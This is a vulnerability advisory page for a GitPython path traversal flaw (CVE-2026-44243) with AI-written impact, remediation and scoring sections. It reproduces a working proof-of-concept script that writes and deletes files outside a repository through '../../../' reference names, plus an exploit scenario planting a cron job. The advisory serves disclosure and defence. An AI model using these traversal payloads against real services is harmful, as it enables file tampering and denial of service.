Skip to main content

GitPython CVE-2026-44243

HIGH
Path Traversal (CWE-22)
2026-05-06 https://github.com/gitpython-developers/GitPython GHSA-7545-fcxq-7j24
7.8
CVSS 4.0 · Vendor: https://github.com/gitpython-developers/GitPython
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit crafted ref name via API/webhook
  2. Delivery
    Application passes unsanitized input to GitPython
  3. Exploit
    Reference.create/delete constructs path with traversal
  4. Execution
    Write/delete file outside .git directory
  5. Impact
    Achieve arbitrary file manipulation or DoS

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the consuming application to pass attacker-influenced data directly to GitPython's reference creation, rename, or delete methods (specifically SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, or SymbolicReference.delete) without pre-validation of the reference path argument. The vulnerable code paths accept reference names as strings and perform filesystem operations without enforcing repository boundary containment. Applications commonly meeting this condition include Git repository management interfaces that create branches/tags from user-supplied names, CI/CD webhook handlers processing branch names from external Git events, automated merge bots accepting reference paths in API requests, repository mirroring services copying references between repositories, and developer platforms allowing users to manipulate Git references through web UIs or REST APIs. The advisory explicitly states 'no authentication required at the library boundary'-exploitation depends solely on whether the application layer validates reference paths before invoking GitPython. Attack vector is local in the sense that it requires application-layer access to trigger GitPython API calls, but in practice this manifests as remote exploitation when web applications, APIs, or webhook endpoints expose these operations to external input. No special GitPython configuration is required; default installations of vulnerable versions are exploitable. Limitations: attacker's file write/delete operations execute with the permissions of the Python process running GitPython-privilege escalation beyond the application user context requires additional exploitation, but compromise of the application service account alone often suffices for significant impact in CI/CD and automation contexts.

Impact

Real-world risk is high for specific deployment contexts despite the absence of standardized CVSS scoring or EPSS data. The GitHub advisory provides a fully-functional proof-of-concept with concrete exploit code, eliminating technical barriers to exploitation. Attack complexity is low-exploitation requires only the ability to influence reference path arguments passed to GitPython APIs, a condition routinely met in Git automation services, webhook handlers, repository management UIs, and CI/CD systems that process user-supplied branch/tag names or merge request metadata. No authentication is required at the library boundary; exploitation depends solely on whether the consuming application sanitizes reference names before invoking GitPython methods. Impact severity is high: arbitrary file write enables configuration tampering, credential theft (overwriting SSH keys, Git configs), or code execution if attackers overwrite executables or Python modules in the application's import path; arbitrary file deletion can cause denial of service by removing critical application state, database files, or system configurations. The vendor advisory explicitly names multi-tenant platforms and CI/CD helpers as at-risk, environments where one user's input routinely triggers Git operations affecting shared infrastructure. Absence of CISA KEV listing and low-profile disclosure do not diminish risk for affected application classes-this is a supply chain exposure in a foundational library with millions of dependent projects. Mitigation complexity is low (upgrade to 3.1.48), but identifying all vulnerable callsites in complex codebases requires careful audit of every GitPython reference operation exposed to external input.

Exploit ScenarioDerived

An attacker identifies a CI/CD pipeline that uses GitPython to process branch names from incoming webhooks or merge requests. The attacker creates a malicious branch named '../../../etc/cron.d/malicious-job' in a repository monitored by the pipeline. When the webhook triggers, the application invokes 'Reference.create(repo, branch_name, commit_sha)' without sanitizing the branch name. GitPython writes the commit SHA to /etc/cron.d/malicious-job instead of .git/refs/heads/, creating a cron job under the application's user context. The attacker controls the file content (the commit SHA becomes the cron job definition by pre-crafting a SHA-like string in commit metadata), achieving persistent code execution. Alternatively, the attacker uses 'SymbolicReference.delete(repo, "../../../app-config.json")' to delete the application's configuration file, causing immediate denial of service. The proof-of-concept code provided in the advisory demonstrates exact reproduction steps and confirms the vulnerability is trivially exploitable with direct API access.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 06, 2026

Path traversal in GitPython versions ≤3.1.47 enables arbitrary file write and deletion outside repository boundaries when applications pass attacker-controlled reference paths to reference creation, rename, or delete operations. A fully-functional proof-of-concept demonstrates successful exploitation by crafting reference names with '../../../' sequences to escape the .git directory and manipulate files with the process owner's permissions. Applications exposing GitPython reference APIs to user input-particularly Git automation services, CI/CD pipelines, and multi-tenant developer platforms-are at immediate risk, as no authentication is required at the library boundary. Fixed in version 3.1.48 per GitHub advisory GHSA-7545-fcxq-7j24.

RemediationAI

Upgrade GitPython to version 3.1.48 or later immediately via 'pip install --upgrade GitPython>=3.1.48'. The vendor patch implements the _validate_ref_write_path() function shown in the advisory, which resolves reference paths to absolute filesystem locations and verifies they remain within the repository boundary before write/delete operations. For environments unable to upgrade immediately, implement application-layer validation: before passing reference names to GitPython create/rename/delete methods, reject any input containing '../', absolute paths ('/'), or tilde expansion ('~'). Example Python pre-validation: 'if any(part in ref_name for part in ["..", "/", "~"]): raise ValueError("Invalid reference name")'. This workaround has limitations-it replicates Git's reference name rules but may not cover all edge cases in path resolution across operating systems; OS-specific path separators (backslash on Windows) and Unicode normalization vulnerabilities may bypass naive string checks. Defense in depth: run GitPython-using services with minimal filesystem permissions via dedicated service accounts, restricting write access to only the repository directory and necessary application state paths; use mandatory access control (AppArmor/SELinux profiles) to enforce repository boundary containment at the OS level. Deploy filesystem monitoring (auditd, OSSEC) to detect unexpected file modifications outside repository paths. In multi-tenant environments, isolate each repository operation into a separate containerized process with read-only root filesystem and mounted repository volume, preventing cross-tenant impact from exploitation. Review application logs for suspicious reference names in historical data to identify potential prior exploitation. Advisory and patch confirmation: https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24

Affected Packages

pypi gitpython fix: 3.1.48

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GitPython is a Python library providing programmatic access to Git repositories, widely used in automation tooling, CI/CD systems, and repository management backends. The vulnerability resides in CWE-22 (Path Traversal) within reference handling code: specifically the SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete methods. While SymbolicReference._check_ref_name_valid() validates reference paths during read operations and rejects traversal sequences like '..' in isolation, write/rename/delete operations use os.path.join() and os.rename()/os.remove() directly on partially-validated paths. An attacker supplying a reference name such as '../../../outside_write.txt' bypasses repository boundary checks because validation occurs only for Git reference name syntax rules, not absolute filesystem containment. The code constructs absolute paths via os.path.join(repo.common_dir, full_ref_path) without subsequent resolution and boundary verification, allowing directory traversal to parent directories. Affected package identifier is pkg:pip/gitpython, impacting all versions through 3.1.47 including the main development branch at the time of disclosure.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gitpython-developers/GitPython) PRIMARY 7.8 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
SUSE 7.1 HIGH
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Red Hat 6.3 MEDIUM

Primary rating from Vendor (https://github.com/gitpython-developers/GitPython).

CVSS VectorVendor: https://github.com/gitpython-developers/GitPython

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
May 07, 2026 - 19:22 NVD
7.8 (HIGH)
CVE Published
May 06, 2026 - 19:38 nvd
HIGH

DescriptionCVE.org

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.

---

📦 Affected Versions

  • Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

---

🧠 Details

Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion

---

Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.

---

Affected Code

python
def set_reference(self, ref, logmsg=None):
    ...
    fpath = self.abspath
    assure_directory_exists(fpath, is_file=True)

    lfd = LockedFD(fpath)
    fd = lfd.open(write=True, stream=True)
    ...
python
@classmethod
def delete(cls, repo, path):
    full_ref_path = cls.to_full_path(path)
    abs_path = os.path.join(repo.common_dir, full_ref_path)
    if os.path.exists(abs_path):
        os.remove(abs_path)
python
def rename(self, new_path, force=False):
    new_path = self.to_full_path(new_path)
    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
    ...
    os.rename(cur_abs_path, new_abs_path)

---

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.

---

🧪 Proof of Concept

Setup

bash
pip install GitPython==3.1.46
python poc.py

---

Exploit

python
import shutil
from pathlib import Path

from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve()
if base.exists():
    shutil.rmtree(base)

repo_dir = base / "repo"
repo = Repo.init(repo_dir)

(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")

outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")

print(f"repo_dir       = {repo_dir}")
print(f"outside_write  = {outside_write}")
print(f"outside_delete = {outside_delete}")

Reference.create(repo, "../../../outside_write.txt", "HEAD")

print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
    print("[+] outside_write content:")
    print(outside_write.read_text(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outside_delete.txt")

print("\n[+] outside_delete exists after delete:", outside_delete.exists())

---

Result

text
repo_dir       = ...\gp-ghsa-poc\repo
outside_write  = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt

[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>

[+] outside_delete exists after delete: False

---

💥 Impact

What can an attacker do?

  • Create or overwrite files outside the repository metadata directory
  • Delete attacker-chosen files reachable from the process permissions
  • Corrupt application state or configuration files
  • Cause denial of service by deleting or overwriting important files

---

Security Impact

  • Confidentiality: Low
  • Integrity: High
  • Availability: High

---

Who is affected?

  • Applications that expose GitPython reference operations to user-controlled input
  • Git automation services, repository management backends, CI/CD helpers, and developer platforms
  • Multi-user environments where one user can influence ref names processed on behalf of another workflow

---

🛠️ Mitigation / Fix

Recommended Fix

python
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
    SymbolicReference._check_ref_name_valid(path)

    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
    target = (base / path).resolve()

    if base not in [target, *target.parents]:
        raise ValueError(f"Reference path escapes repository boundary: {path}")

    return str(target)
python
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)

Executive ViewAI

Why It Matters

GitPython versions 3.1.47 and earlier contain a path traversal vulnerability allowing unauthenticated attackers to write or delete arbitrary files outside the repository with process-owner permissions. Organizations using GitPython in CI/CD pipelines, Git automation services, or multi-tenant platforms face immediate risk of system compromise, data destruction, and supply chain attacks if user-controlled input is passed to reference operations.

Business Impact: Severe
Compensating Controls

Vendor-released patch: GitPython 3.1.48. Until patching is complete, immediately: (1) disable or restrict access to any application accepting user-controlled Git reference names; (2) run GitPython processes with minimal required file system permissions and dedicated non-root user accounts; (3) implement allowlist validation for reference names before passing to GitPython APIs, rejecting any containing '../' sequences; (4) isolate affected services in network segments with restricted lateral movement.

Threat Intelligence Overview

EPSS Score
0.1%
Top 74% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)CVE.org

pkg:pip/gitpython

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: High
Product Status
SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS Affected
SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS Affected
SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS Affected
SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy